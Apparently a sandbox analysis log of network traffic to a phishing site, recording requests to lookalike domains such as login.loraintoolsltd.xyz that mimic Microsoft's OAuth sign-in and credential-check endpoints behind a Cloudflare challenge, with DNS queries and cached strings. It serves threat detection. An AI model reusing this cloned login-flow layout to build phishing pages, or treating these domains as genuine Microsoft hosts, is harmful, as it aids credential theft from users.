Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: login.loraintoolsltd.xyzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.loraintoolsltd.xyz/FgJIoRDmAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: b747-6a6f=dcc0549213a163619d4fbbef5e2bde9e2838c9cb163fc448beccdd63acd013cd
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=905d2bd4e92c7280&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1582007332:1737520020:U82v92YyT_rqqvFKCMvYgps0MODqz94wRFPIwXDWdYo/905d2bd4e92c7280/mPKT7..JMzRCIQobxA53eE9nFWjIBKNfaHE4n__QrTo-1737524027-1.1.1.1-tuo4zLLsp8K3sgvDjCJgXNPsrxuxi7ZyX3w4gKmYHfjoU3EKt24BYfIGjg.lOWPZ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/905d2bd4e92c7280/1737524029403/12f79e512e0423c748eca4d65abffde3814f14b1a25f6e30ca2f3a987bf6c397/_knKJ7gMC0i7oAY HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/en8le/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/d/905d2bd4e92c7280/1737524029404/ffCWwu4GbIMA4Y4 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/en8le/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/d/905d2bd4e92c7280/1737524029404/ffCWwu4GbIMA4Y4 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1582007332:1737520020:U82v92YyT_rqqvFKCMvYgps0MODqz94wRFPIwXDWdYo/905d2bd4e92c7280/mPKT7..JMzRCIQobxA53eE9nFWjIBKNfaHE4n__QrTo-1737524027-1.1.1.1-tuo4zLLsp8K3sgvDjCJgXNPsrxuxi7ZyX3w4gKmYHfjoU3EKt24BYfIGjg.lOWPZ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1582007332:1737520020:U82v92YyT_rqqvFKCMvYgps0MODqz94wRFPIwXDWdYo/905d2bd4e92c7280/mPKT7..JMzRCIQobxA53eE9nFWjIBKNfaHE4n__QrTo-1737524027-1.1.1.1-tuo4zLLsp8K3sgvDjCJgXNPsrxuxi7ZyX3w4gKmYHfjoU3EKt24BYfIGjg.lOWPZ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /FgJIoRDm?y=hZHJZ8Q HTTP/1.1Host: login.loraintoolsltd.xyzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://login.loraintoolsltd.xyz/FgJIoRDmAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: b747-6a6f=dcc0549213a163619d4fbbef5e2bde9e2838c9cb163fc448beccdd63acd013cd; x-ms-gateway-slice=estsfd
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: login.loraintoolsltd.xyzConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://login.loraintoolsltd.xyz/FgJIoRDmAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: b747-6a6f=dcc0549213a163619d4fbbef5e2bde9e2838c9cb163fc448beccdd63acd013cd; x-ms-gateway-slice=estsfd
Source: global traffic	HTTP traffic detected: GET /login HTTP/1.1Host: www.loraintoolsltd.xyzConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://login.loraintoolsltd.xyz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: b747-6a6f=dcc0549213a163619d4fbbef5e2bde9e2838c9cb163fc448beccdd63acd013cd
Source: global traffic	HTTP traffic detected: GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy&ui_locales=en-US&mkt=en-US&client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576&state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 HTTP/1.1Host: login.loraintoolsltd.xyzConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://login.loraintoolsltd.xyz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: b747-6a6f=dcc0549213a163619d4fbbef5e2bde9e2838c9cb163fc448beccdd63acd013cd; x-ms-gateway-slice=estsfd; fpc=Ato6LhKJx0FKhxMTu5t133I; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQE3HQzi_tCS94XmTqmYn4uzsObdGCWEXJ4kT4Ghnu1-a8e4l5ESPiLk3QpovKFlFxUDWXQGP2Elz9qgkBEFUNnhJq79v2Cx0KIi8lGGxGla9T7NkZN-hvvsDx6BaNrBA5JWtE0G4IID587refJD1N2XOy-BhFzHovViuyJG3xp5OogAA; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy&ui_locales=en-US&mkt=en-US&client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576&state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true HTTP/1.1Host: login.loraintoolsltd.xyzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy&ui_locales=en-US&mkt=en-US&client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576&state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: b747-6a6f=dcc0549213a163619d4fbbef5e2bde9e2838c9cb163fc448beccdd63acd013cd; x-ms-gateway-slice=estsfd; fpc=Ato6LhKJx0FKhxMTu5t133I; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQE3HQzi_tCS94XmTqmYn4uzsObdGCWEXJ4kT4Ghnu1-a8e4l5ESPiLk3QpovKFlFxUDWXQGP2Elz9qgkBEFUNnhJq79v2Cx0KIi8lGGxGla9T7NkZN-hvvsDx6BaNrBA5JWtE0G4IID587refJD1N2XOy-BhFzHovViuyJG3xp5OogAA; stsservicecookie=estsfd; esctx-bRlTuX6U11I=AQABCQEAAABVrSpeuWamRam2jAF1XRQEgdnqVdjU-CWM0zxz7qQ1UI0xIatmxzvGUJa19R78H92wQvLQ28EKUzsG-RqMbRO379bIMRD_Q8x1NC7geDCckjQTxDJZy5N3U-mW5tT19edTp8klk-qIpdcK3ynFN3UWS6yvmRJwyfVvvUh9yTS_gyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /Me.htm?v=3 HTTP/1.1Host: live.loraintoolsltd.xyzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://login.loraintoolsltd.xyz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: b747-6a6f=dcc0549213a163619d4fbbef5e2bde9e2838c9cb163fc448beccdd63acd013cd
Source: global traffic	HTTP traffic detected: GET /Me.htm?v=3 HTTP/1.1Host: live.loraintoolsltd.xyzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://login.loraintoolsltd.xyz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: b747-6a6f=dcc0549213a163619d4fbbef5e2bde9e2838c9cb163fc448beccdd63acd013cd; uaid=d8b820a4e4304584a03bbc6fcab7dc24; MSPRequ=id=N&lt=1737524054&co=1
Source: global traffic	HTTP traffic detected: GET /common/GetCredentialType?mkt=en-US HTTP/1.1Host: login.loraintoolsltd.xyzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: b747-6a6f=dcc0549213a163619d4fbbef5e2bde9e2838c9cb163fc448beccdd63acd013cd; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-bRlTuX6U11I=AQABCQEAAABVrSpeuWamRam2jAF1XRQEgdnqVdjU-CWM0zxz7qQ1UI0xIatmxzvGUJa19R78H92wQvLQ28EKUzsG-RqMbRO379bIMRD_Q8x1NC7geDCckjQTxDJZy5N3U-mW5tT19edTp8klk-qIpdcK3ynFN3UWS6yvmRJwyfVvvUh9yTS_gyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AQoAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAKAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQESI7uViuukbxfCjYqzor-A_jndiEK7L3uqF70m27twZyKszo_Se4or6UparMXpA4ipt2xjfu7Z2DKyCcQZlSjtdAr-zjaNi439M68oLPIV4QgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQENyPdhqfYMHo03v-2Ipk7TtGaJpAfyraEqDeIwEw4d6Ykx4qujFrEOL7QYAU09KFM8ncW5EiJhR_Xf5MCHg4toc5OGKcVE-qtpMeebR7OYyGDXtY5mVH6M4JL_3JORnHq-iGnifb6-Q84tV1GYO81vQHQ53YVR1w_a2bZXl72sMogAA; esctx-ri4R7PtiEYo=AQABCQEAAABVrSpeuWamRam2jAF1XRQEo7-Dv_IahjaZbHJuJ6KhvUfmOkvElodFrP3sJlzY-RUJzXOZRjlAWjZ5Vq6d1Y47mJHva9ZpHZqKMCPfQtY_C0tflxZUqz9KcgajUuvbdaq_-l3zzjsi-X8ZwyOF-4gtwFLTldcvQt9RROO8-CeEDCAA; fpc=Ato6LhKJx0FKhxMTu5t133K8Ae7AAQAAAFR6It8OAAAA; MicrosoftApplicationsTelemetryDeviceId=a968c873-92c7-437d-b531-763a7e23021d; brcap=0; ai_session=5vMbeA8rfGrWI+aFMvEJ5e\|1737524057412\|1737524057412
Source: global traffic	HTTP traffic detected: GET /tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/john.walker@gmail.com HTTP/1.1Host: sahadayiz.com.trConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: sahadayiz.com.trConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/john.walker@gmail.comAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: sahadayiz.com.tr
Source: global traffic	DNS traffic detected: DNS query: login.loraintoolsltd.xyz
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: identity.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: www.loraintoolsltd.xyz
Source: global traffic	DNS traffic detected: DNS query: live.loraintoolsltd.xyz
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1582007332:1737520020:U82v92YyT_rqqvFKCMvYgps0MODqz94wRFPIwXDWdYo/905d2bd4e92c7280/mPKT7..JMzRCIQobxA53eE9nFWjIBKNfaHE4n__QrTo-1737524027-1.1.1.1-tuo4zLLsp8K3sgvDjCJgXNPsrxuxi7ZyX3w4gKmYHfjoU3EKt24BYfIGjg.lOWPZ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3299sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: mPKT7..JMzRCIQobxA53eE9nFWjIBKNfaHE4n__QrTo-1737524027-1.1.1.1-tuo4zLLsp8K3sgvDjCJgXNPsrxuxi7ZyX3w4gKmYHfjoU3EKt24BYfIGjg.lOWPZsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/en8le/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100cache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Wed, 22 Jan 2025 05:33:44 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">

Source: chromecache_68.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css
Source: chromecache_68.2.dr	String found in binary or memory: https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback
Source: chromecache_66.2.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_66.2.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_80.2.dr, chromecache_93.2.dr	String found in binary or memory: https://login.loraintoolsltd.xyz
Source: chromecache_80.2.dr, chromecache_93.2.dr	String found in binary or memory: https://login.windows-ppe.net

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
